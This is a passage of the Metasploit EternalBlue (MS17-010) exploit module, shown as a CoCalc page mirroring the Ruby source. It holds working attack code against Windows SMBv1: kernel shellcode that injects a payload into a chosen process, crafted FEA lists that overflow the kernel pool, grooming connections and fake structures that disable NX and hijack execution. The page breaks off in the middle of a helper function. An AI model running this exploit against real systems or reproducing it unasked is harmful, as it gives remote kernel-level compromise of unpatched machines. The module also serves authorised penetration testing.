CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'ruby_smb'
7
require 'ruby_smb/smb1/packet'
8
require 'rubyntlm'
9
require 'windows_error'
10
11
class MetasploitModule < Msf::Exploit::Remote
12
Rank = AverageRanking
13
14
include Msf::Exploit::Remote::CheckModule
15
include Msf::Exploit::Deprecated
16
include Msf::Exploit::Remote::Tcp
17
18
moved_from 'exploit/windows/smb/ms17_010_eternalblue_win8'
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
25
'Description' => %q{
26
This module is a port of the Equation Group ETERNALBLUE exploit, part of
27
the FuzzBunch toolkit released by Shadow Brokers.
28
29
There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
30
is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
31
DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
32
is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
33
completed in srvnet!SrvNetWskReceiveComplete.
34
35
This exploit, like the original may not trigger 100% of the time, and should be
36
run continuously until triggered. It seems like the pool will get hot streaks
37
and need a cool down period before the shells rain in again.
38
39
The module will attempt to use Anonymous login, by default, to authenticate to perform the
40
exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
41
those instead.
42
43
On some systems, this module may cause system instability and crashes, such as a BSOD or
44
a reboot. This may be more likely with some payloads.
45
},
46
47
'Author' =>
48
[
49
# Original Exploit
50
'Equation Group', # OG research and exploit
51
'Shadow Brokers', # Hack and dump
52
'sleepya', # Research and PoC
53
54
# Original win7 module
55
'Sean Dillon <[email protected]>', # @zerosum0x0
56
'Dylan Davis <[email protected]>', # @jennamagius
57
'thelightcosine', # RubySMB refactor and Fallback Credential mode
58
59
# Original win8 module
60
'wvu', # Babby's first external module
61
'agalway-r7', # External python module to internal ruby module (sorry wvu)
62
'cdelafuente-r7', # ruby_smb wizard
63
'cdelafuente-r7', # kernel debugging wizard
64
65
# Combining the two
66
'agalway-r7' # am good at copy pasta
67
],
68
'License' => MSF_LICENSE,
69
'References' =>
70
[
71
# Win 7
72
['MSB', 'MS17-010'],
73
['CVE', '2017-0143'],
74
['CVE', '2017-0144'],
75
['CVE', '2017-0145'],
76
['CVE', '2017-0146'],
77
['CVE', '2017-0147'],
78
['CVE', '2017-0148'],
79
['URL', 'https://github.com/RiskSense-Ops/MS17-010'],
80
['URL', 'https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf'],
81
82
# Win 8
83
['EDB', '42030'],
84
],
85
'DefaultOptions' =>
86
{
87
'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',
88
'EXITFUNC' => 'thread',
89
'WfsDelay' => 5
90
},
91
'Privileged' => true,
92
'Platform' => 'win',
93
'Arch' => [ARCH_X64],
94
'Payload' => {
95
'Space' => 2000, # this can be more, needs to be recalculated
96
'EncoderType' => Msf::Encoder::Type::Raw,
97
'DisableNops' => true
98
},
99
'Targets' =>
100
[
101
[ 'Automatic Target', {} ],
102
[
103
'Windows 7',
104
{
105
'os_patterns' => ['Windows 7']
106
}
107
],
108
[
109
'Windows Embedded Standard 7',
110
{
111
'os_patterns' => ['Windows Embedded Standard 7']
112
}
113
],
114
[
115
'Windows Server 2008 R2',
116
{
117
'os_patterns' => ['Windows Server 2008 R2']
118
}
119
],
120
[
121
'Windows 8',
122
{
123
'os_patterns' => ['Windows 8']
124
}
125
],
126
[
127
'Windows 8.1',
128
{
129
'os_patterns' => ['Windows 8.1']
130
}
131
],
132
[
133
'Windows Server 2012',
134
{
135
'os_patterns' => ['Windows Server 2012']
136
}
137
],
138
[
139
'Windows 10 Pro',
140
{
141
'os_patterns' => ['Windows Pro Build']
142
}
143
],
144
[
145
'Windows 10 Enterprise Evaluation',
146
{
147
'os_patterns' => ['Windows 10 Enterprise Evaluation Build']
148
}
149
]
150
],
151
'DefaultTarget' => 0,
152
'Notes' =>
153
{
154
'AKA' => ['ETERNALBLUE']
155
},
156
'DisclosureDate' => '2017-03-14'
157
)
158
)
159
160
register_options(
161
[
162
Opt::RHOSTS,
163
Opt::RPORT(445),
164
OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', ''], fallbacks: ['USERNAME']),
165
OptString.new('SMBPass', [false, '(Optional) The password for the specified username', ''], fallbacks: ['PASSWORD']),
166
OptString.new('SMBDomain', [
167
false,
168
'(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7,' \
169
' Windows Embedded Standard 7 target machines.',
170
''
171
]),
172
OptBool.new('VERIFY_TARGET', [
173
true,
174
'Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded' \
175
' Standard 7 target machines.',
176
true
177
]),
178
OptBool.new('VERIFY_ARCH', [
179
true,
180
'Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,' \
181
' Windows Embedded Standard 7 target machines.',
182
true
183
])
184
]
185
)
186
register_advanced_options(
187
[
188
OptString.new('ProcessName', [true, 'Process to inject payload into.', 'spoolsv.exe']),
189
OptInt.new('GroomAllocations', [true, 'Initial number of times to groom the kernel pool.', 12]),
190
OptInt.new('MaxExploitAttempts', [
191
true,
192
'The number of times to retry the exploit. Useful as EternalBlue can sometimes require multiple attempts to' \
193
' get a successful execution.',
194
3
195
]),
196
OptInt.new('GroomDelta', [
197
true,
198
'The amount to increase the groom count by per try. Only affects Windows Server 2008 R2, Windows 7, Windows' \
199
' Embedded Standard 7 target machines.',
200
5
201
])
202
]
203
)
204
end
205
206
def generate_process_hash(process)
207
[Rex::Text.ror13_hash(process + "\x00")].pack('l<')
208
end
209
210
# ring3 = user mode encoded payload
211
# proc_name = process to inject APC into
212
def make_kernel_user_payload(ring3, proc_name)
213
proc_hash = generate_process_hash(proc_name)
214
215
sc = (
216
"\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d" \
217
"\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a" \
218
"\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48" \
219
"\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48" \
220
"\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8" \
221
"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8" \
222
"\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50" \
223
"\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48" \
224
"\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31" \
225
"\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0" \
226
"\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa" \
227
"\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57" \
228
"\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49" \
229
"\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d" \
230
"\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00" \
231
"\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f" \
232
"\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00" \
233
"\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04" \
234
"\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00" \
235
"\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6" \
236
"\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78" \
237
"\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d" +
238
proc_hash + "\x74\x10\x3d" + proc_hash + "\x74\x09\x48\x8b\x0c" \
239
"\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00" \
240
"\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b" \
241
"\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce" \
242
"\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74" \
243
"\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00" \
244
"\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d" \
245
"\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46" \
246
"\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3" \
247
"\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89" \
248
"\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02" \
249
"\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84" \
250
"\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20" \
251
"\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00" \
252
"\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c" \
253
"\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59" \
254
"\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75" \
255
"\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b" \
256
"\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89" \
257
"\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06" \
258
"\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65" \
259
"\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e" \
260
"\x48\x8d\x35\x6a\x00\x00\x00" \
261
"\xb9#{[ ring3.length ].pack('s')}\x00\x00" \
262
"\xf3\xa4\x48\x8b" \
263
"\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83" \
264
"\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32" \
265
"\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff" \
266
"\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22" \
267
"\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49" \
268
"\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20" \
269
"\xff\xd0\x48\x83\xc4\x30\xc3"
270
)
271
sc << ring3
272
sc
273
end
274
275
def exploit
276
check_code = check
277
278
if check_code.code == 'vulnerable'
279
print_good('The target is vulnerable.')
280
else
281
print_bad('The target is not vulnerable.')
282
end
283
284
if check_code.details[:arch] == ARCH_X86
285
fail_with(Failure::NoTarget, 'This module only supports x64 (64-bit) targets')
286
end
287
288
if datastore['ForceExploit'] == 'true' || check_code.code == 'vulnerable'
289
print_status('Forcing Exploit') if datastore['ForceExploit'] == 'true'
290
291
os = Recog::Nizer.match('smb.native_os', check_code.details[:os])
292
293
if os.nil?
294
if target.name == 'Automatic Target'
295
targs = ''
296
targets[1..-1].each { |t| targs += "#{t.name}\n" }
297
298
msg = "Could not determine victim OS. If the victim OS is one of the below options:\n"\
299
"#{targs}"\
300
"\nThen it can be selected manually with 'set TARGET <OS_NAME>'"
301
fail_with(Failure::NoTarget, msg)
302
else
303
os = target.name
304
end
305
else
306
os = os['os.product']
307
end
308
309
if os.start_with?('Windows 8', 'Windows 10', 'Windows Server 2012', 'Windows 2012')
310
extend(EternalBlueWin8)
311
else
312
extend(EternalBlueWin7)
313
end
314
315
exploit_eb
316
end
317
end
318
end
319
320
module EternalBlueWin8
321
MAX_SHELLCODE_SIZE = 3712
322
323
# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
324
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
325
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
326
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
327
328
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
329
NTFEA_SIZE = 0x9000
330
331
NTLM_FLAGS = Net::NTLM::FLAGS[:KEY56] +
332
Net::NTLM::FLAGS[:KEY128] +
333
Net::NTLM::FLAGS[:TARGET_INFO] +
334
Net::NTLM::FLAGS[:NTLM2_KEY] +
335
Net::NTLM::FLAGS[:NTLM] +
336
Net::NTLM::FLAGS[:REQUEST_TARGET] +
337
Net::NTLM::FLAGS[:UNICODE]
338
339
NTFEA_9000 = (([0, 0, 0].pack('CCS<') + "\x00") * 0x260 + # with these fea, ntfea size is 0x1c80
340
[0, 0, 0x735c].pack('CCS<') + "\x00" * 0x735d + # 0x8fe8 - 0x1c80 - 0xc = 0x735c
341
[0, 0, 0x8147].pack('CCS<') + "\x00" * 0x8148) # overflow to SRVNET_BUFFER_HDR
342
343
NTLM_CRYPT = Rex::Proto::NTLM::Crypt
344
345
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
346
# x64: fake struct is at ffffffff ffd00e00
347
# offset 0x50: KSPIN_LOCK
348
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
349
# offset 0x110: array of pointer to function
350
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
351
# some useful offset
352
# offset 0x120: arg1 when invoking ptr to function
353
# offset 0x128: arg2 when invoking ptr to function
354
#
355
# code path to get code exception after this struct is controlled
356
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
357
def fake_recv_struct
358
struct = "\x00" * 80
359
struct << [0, TARGET_HAL_HEAP_ADDR + 0x58].pack('QQ<')
360
struct << [TARGET_HAL_HEAP_ADDR + 0x58, 0].pack('QQ<') # offset 0x60
361
struct << ("\x00" * 16) * 10
362
struct << [TARGET_HAL_HEAP_ADDR + 0x170, 0].pack('QQ<') # offset 0x110: fn_ptr array
363
struct << [(0x8150 ^ 0xffffffffffffffff) + 1, 0].pack('QQ<') # set arg1 to -0x8150
364
struct << [0, 0, 3].pack('QII<') # offset 0x130
365
struct << ("\x00" * 16) * 3
366
struct << [0, TARGET_HAL_HEAP_ADDR + 0x180].pack('QQ<') # shellcode address
367
struct
368
end
369
370
def custom_smb_client
371
sock = Rex::Socket::Tcp.create(
372
'PeerHost' => rhost,
373
'PeerPort' => rport,
374
'Proxies' => proxies,
375
'Context' => {
376
'Msf' => framework,
377
'MsfExploit' => self
378
}
379
)
380
381
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
382
383
client = CustomSessionSetupPacketRubySMBClient.new(dispatcher, smb1: true, smb2: false, smb3: false,
384
username: smb_user, domain: smb_domain, password: smb_pass,
385
ntlm_flags: NTLM_FLAGS)
386
387
return client, sock
388
end
389
390
def smb1_connect_ipc(negotiate_only: false, session_setup_packet: nil, session_setup_auth_packet: nil)
391
begin
392
client, sock = custom_smb_client
393
394
if negotiate_only
395
client.negotiate
396
return client, nil, sock
397
else
398
response_code = client.login(ntlm_flags: NTLM_FLAGS,
399
session_setup_packet: session_setup_packet,
400
session_setup_auth_packet: session_setup_auth_packet)
401
402
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
403
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"
404
end
405
406
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
407
end
408
409
return client, tree, sock
410
rescue StandardError => e
411
print_error("Could not make SMBv1 connection. #{e.class} error raised with message '#{e.message}'")
412
elog('Could not make SMBv1 connection', error: e)
413
414
# for an as of yet undetermined reason, a connection can sometimes be created after an error during an anonymous
415
# login.
416
if client
417
client.disconnect!
418
end
419
420
raise e
421
end
422
end
423
424
def send_trans2_second(conn, tid, pid, data, displacement)
425
pkt = RubySMB::SMB1::Packet::Trans2::RequestSecondary.new
426
pkt.smb_header.tid = tid
427
pkt.smb_header.pid_low = pid
428
429
pkt.parameter_block.total_parameter_count = 0
430
pkt.parameter_block.total_data_count = data.length
431
432
fixed_offset = 32 + 3 + 18
433
pkt.data_block.pad1 = ''
434
435
pkt.parameter_block.parameter_count = 0
436
pkt.parameter_block.parameter_offset = 0
437
438
if !data.empty?
439
pad_len = (4 - fixed_offset % 4) % 4
440
441
if pad_len == 0
442
pkt.data_block.pad1 = ''
443
elsif pad_len == 3
444
pkt.data_block.pad1 = "\x00" * 2
445
pkt.data_block.pad1 = "\x00"
446
else
447
pkt.data_block.pad1 = "\x00" * pad_len
448
end
449
else
450
pkt.data_block.pad1 = ''
451
pad_len = 0
452
end
453
454
pkt.parameter_block.data_count = data.length
455
pkt.parameter_block.data_offset = fixed_offset + pad_len
456
pkt.parameter_block.data_displacement = displacement
457
458
pkt.data_block.trans2_parameters = ''
459
pkt.data_block.trans2_data = data
460
461
pkt.smb_header.flags2.extended_security = 1
462
pkt.smb_header.flags2.paging_io = 0
463
pkt.smb_header.flags2.unicode = 0
464
465
pkt.smb_header.uid = BinData::Bit16le.read(BinData::Bit16.new(2048).to_binary_s)
466
467
conn.send_packet(pkt)
468
end
469
470
# connect to target and send a large nbss size with data 0x80 bytes
471
# this method is for allocating big nonpaged pool on target
472
def create_connection_with_big_smb_first_80(for_nx: false)
473
sock = connect(false)
474
pkt = "\x00".b + "\x00".b + [0x8100].pack('S>')
475
# There is no need to be SMB2 because we want the target free the corrupted buffer.
476
# Also this is invalid SMB2 message.
477
# I believe NSA exploit use SMB2 for hiding alert from IDS
478
# pkt += '\xfeSMB' # smb2
479
# it can be anything even it is invalid
480
pkt += "\x01\x02\x03\x04"
481
482
if for_nx
483
# MUST set no delay because 1 byte MUST be sent immediately
484
sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
485
pkt += "\x00" * 0x7b # another byte will be sent later to disabling NX
486
else
487
pkt += "\x00" * 0x7c
488
end
489
490
sock.send(pkt, 0)
491
sock
492
end
493
494
def send_big_trans2(conn, tid, pid, setup, data, param)
495
first_data_fragment_size = data.length % 4096
496
497
pkt = RubySMB::SMB1::Packet::NtTrans::Request.new
498
pkt.smb_header.tid = tid
499
500
pkt.smb_header.pid_low = pid
501
502
command = [setup].pack('S<')
503
504
pkt.parameter_block.max_setup_count = 1
505
pkt.parameter_block.max_parameter_count = param.length
506
pkt.parameter_block.max_data_count = 0
507
508
pkt.parameter_block.setup << 0x0000
509
pkt.parameter_block.total_parameter_count = param.length
510
pkt.parameter_block.total_data_count = data.length
511
512
fixed_offset = 32 + 3 + 38 + command.length
513
if !param.empty?
514
pad_len = (4 - fixed_offset % 4) % 4
515
pad_bytes = "\x00" * pad_len
516
pkt.data_block.pad1 = pad_bytes
517
else
518
pkt.data_block.pad1 = ''
519
pad_len = 0
520
end
521
522
pkt.parameter_block.parameter_count = param.length
523
pkt.parameter_block.parameter_offset = fixed_offset + pad_len
524
525
if !data.empty?
526
pad_len = (4 - (fixed_offset + pad_len + param.length) % 4) % 4
527
pkt.data_block.pad2 = "\x00" * pad_len
528
else
529
pkt.data_block.pad2 = ''
530
pad_len = 0
531
end
532
533
pkt.parameter_block.data_count = first_data_fragment_size
534
pkt.parameter_block.data_offset = pkt.parameter_block.parameter_offset + param.length + pad_len
535
536
pkt.data_block.trans2_parameters = param
537
pkt.data_block.trans2_data = data.first(first_data_fragment_size)
538
539
pkt.smb_header.flags2.paging_io = 0
540
pkt.smb_header.flags2.extended_security = 1
541
542
begin
543
recv_pkt = RubySMB::SMB1::Packet::NtTrans::Response.read(conn.send_recv(pkt))
544
rescue RubySMB::Error::CommunicationError => e
545
print_status('CommunicationError encountered. Have you set SMBUser/SMBPass?')
546
raise e
547
end
548
549
if recv_pkt.status_code.value == 0
550
print_good('got good NT Trans response')
551
else
552
print_error("got bad NT Trans response: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
553
return nil
554
end
555
556
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
557
size_of_data_to_be_sent = first_data_fragment_size
558
while size_of_data_to_be_sent < data.length
559
send_size = [4096, data.length - size_of_data_to_be_sent].min
560
if data.length - size_of_data_to_be_sent <= 4096
561
break
562
end
563
564
send_trans2_second(conn, tid, pid, data[size_of_data_to_be_sent...(size_of_data_to_be_sent + send_size)],
565
size_of_data_to_be_sent)
566
size_of_data_to_be_sent += send_size
567
end
568
569
size_of_data_to_be_sent
570
end
571
572
def _exploit(fea_list, shellcode, num_groom_conn, username, password)
573
session_setup_packet = default_session_setup_request
574
session_setup_auth_packet = default_session_setup_request
575
576
conn, tree, sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
577
session_setup_auth_packet: session_setup_auth_packet)
578
579
pid = conn.pid
580
os = conn.peer_native_os
581
print_status("Target OS: #{os}")
582
583
if os.start_with?('Windows 10')
584
build = os.split.last.to_i
585
if build >= 14393 # version 1607
586
print_status('This exploit does not support this build')
587
return
588
end
589
elsif !(os.start_with?('Windows 8') || os.start_with?('Windows Server 2012'))
590
print_status('This exploit does not support this target:')
591
return
592
end
593
594
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
595
# Send TRANS2_OPEN2 (0) with special fea_list to a target exce
596
progress = send_big_trans2(conn, tree.id, pid, 0, fea_list, "\x00" * 30)
597
if progress.nil?
598
conn.disconnect!
599
return
600
end
601
602
fea_list_nx = generate_fea_list_nx
603
604
session_setup_packet = default_session_setup_request
605
session_setup_packet.parameter_block.vc_number = 1
606
607
session_setup_auth_packet = default_session_setup_request
608
session_setup_auth_packet.parameter_block.max_mpx_count = 2
609
session_setup_auth_packet.parameter_block.vc_number = 1
610
611
nx_conn, nx_tree, nx_sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
612
session_setup_auth_packet: session_setup_auth_packet)
613
614
# Another TRANS2_OPEN2 (0) with special fea_list for disabling NX
615
nx_progress = send_big_trans2(nx_conn, nx_tree.id, pid, 0, fea_list_nx, "\x00" * 30)
616
if nx_progress.nil?
617
conn.disconnect!
618
nx_conn.disconnect!
619
return
620
end
621
622
# create some big buffer at servereternal
623
# this buffer MUST NOT be big enough for overflown buffer
624
alloc_conn, alloc_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x2010, username, password, pid)
625
if alloc_conn.nil?
626
return
627
end
628
629
# groom nonpaged pool
630
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
631
srvnet_conn = []
632
num_groom_conn.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
633
634
# create buffer size NTFEA_SIZE at server
635
# this buffer will be replaced by overflown buffer
636
hole_conn, hole_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x10, username, password, pid)
637
if hole_conn.nil?
638
return
639
end
640
641
# disconnect allocConn to free buffer
642
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
643
alloc_sock.close
644
645
# hope one of srvnet_conn is next to holeConn
646
5.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
647
648
# remove holeConn to create hole for fea buffer
649
hole_sock.close
650
651
# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
652
# first trigger, overwrite srvnet buffer struct for disabling NX
653
send_trans2_second(nx_conn, nx_tree.id, pid, fea_list_nx[nx_progress, fea_list_nx.length], nx_progress)
654
655
recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(nx_conn.recv_packet)
656
if recv_pkt.status_code.value == 0xc000000d
657
print_good('good response status for nx: INVALID_PARAMETER')
658
else
659
print_error("bad response status for nx: #{recv_pkt.status_code.value}")
660
end
661
662
# one of srvnet_conn struct header should be modified
663
# send '\x00' to disable nx
664
srvnet_conn.each { |sk| sk.send("\x00", 0) }
665
666
# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
667
# second trigger, place fake struct and shellcode
668
send_trans2_second(conn, tree.id, pid, fea_list[progress, fea_list.length], progress)
669
recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(conn.recv_packet)
670
if recv_pkt.status_code.value == 0xc000000d
671
print_good('good response status for nx: INVALID_PARAMETER')
672
else
673
print_error("bad response status for nx: #{recv_pkt.status_code.value}")
674
end
675
676
# one of srvnet_conn struct header should be modified
677
# a corrupted buffer will write recv data in designed memory address
678
srvnet_conn.each { |sk| sk.send(fake_recv_struct + shellcode, 0) }
679
680
# execute shellcode, at this point the shellcode should be located at ffffffff`ffd04180
681
srvnet_conn.each(&:close)
682
683
nx_tree.disconnect!
684
nx_conn.disconnect!
685
686
tree.disconnect!
687
conn.disconnect!
688
end
689
690
def create_fea_list(sc_size)
691
fea_list = [0x10000].pack('I<')
692
fea_list += NTFEA_9000
693
fake_srv_net_buf = create_fake_srv_net_buffer(sc_size)
694
fea_list += [0, 0, fake_srv_net_buf.length - 1].pack('CCS<') + fake_srv_net_buf # -1 because first '\x00' is for name
695
# stop copying by invalid flag (can be any value except 0 and 0x80)
696
fea_list += [0x12, 0x34, 0x5678].pack('CCS<')
697
return fea_list
698
end
699
700
def create_fake_srv_net_buffer(sc_size)
701
# 0x180 is size of fakeSrvNetBufferX64
702
total_recv_size = 0x80 + 0x180 + sc_size
703
fake_srv_net_buffer_x64 = "\x00" * 16
704
fake_srv_net_buffer_x64 += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') # flag, _, _, pNetRawBuffer
705
fake_srv_net_buffer_x64 += [0, 0x82e8, 0].pack('QII<') # _, thisNonPagedPoolSize, _
706
fake_srv_net_buffer_x64 += "\x00" * 16
707
fake_srv_net_buffer_x64 += [0, total_recv_size].pack('QQ<') # offset 0x40
708
fake_srv_net_buffer_x64 += [TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR].pack('Q<Q<') # pmdl2, pointer to fake struct
709
fake_srv_net_buffer_x64 += [0, 0].pack('QQ<')
710
fake_srv_net_buffer_x64 += "\x00" * 16
711
fake_srv_net_buffer_x64 += "\x00" * 16
712
fake_srv_net_buffer_x64 += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
713
fake_srv_net_buffer_x64 += [0, TARGET_HAL_HEAP_ADDR - 0x80].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
714
715
return fake_srv_net_buffer_x64
716
end
717
718
def exploit_eb
719
num_groom_conn = datastore['GroomAllocations'].to_i
720
smbuser = datastore['SMBUser'].present? ? datastore['SMBUser'] : ''
721
smbpass = datastore['SMBPass'].present? ? datastore['SMBPass'] : ''
722
723
sc = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
724
725
if sc.length > MAX_SHELLCODE_SIZE
726
print_error("Shellcode too long. The place that this exploit put a shellcode is limited to #{MAX_SHELLCODE_SIZE} bytes.")
727
return
728
end
729
730
fea_list = create_fea_list(sc.length)
731
732
print_status("shellcode size: #{sc.length}")
733
print_status("numGroomConn: #{num_groom_conn}")
734
735
begin
736
_exploit(fea_list, sc, num_groom_conn, smbuser, smbpass)
737
rescue StandardError => e
738
print_error("Exploit failed with the following error: #{e.message}")
739
elog('Error encountered with eternalblue_win8', error: e)
740
return false
741
end
742
end
743
744
def create_session_alloc_non_paged(size, username, password, pid)
745
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
746
sess_pkt = SessionSetupSMB1RequestWithPoorlyFormedDataBlock.new
747
748
anon_conn, _anon_tree, anon_sock = smb1_connect_ipc(negotiate_only: true)
749
750
sess_pkt.smb_header.pid_low = pid
751
752
if size >= 65535 # 0xffff
753
sess_pkt.data_block.security_blob = [(size / 2).floor].pack('S<') + "\x00" * 20
754
sess_pkt.smb_header.flags2.unicode = 0
755
else
756
sess_pkt.data_block.security_blob = [size].pack('S<') + "\x00" * 20
757
sess_pkt.smb_header.flags2.unicode = 1
758
end
759
760
sess_pkt.smb_header.flags2.extended_security = 0
761
sess_pkt.smb_header.flags2.nt_status = 1
762
sess_pkt.smb_header.flags2.paging_io = 0
763
764
sess_pkt.parameter_block.max_buffer_size = 61440 # can be any value greater than response size
765
sess_pkt.parameter_block.max_mpx_count = 2 # can by any value
766
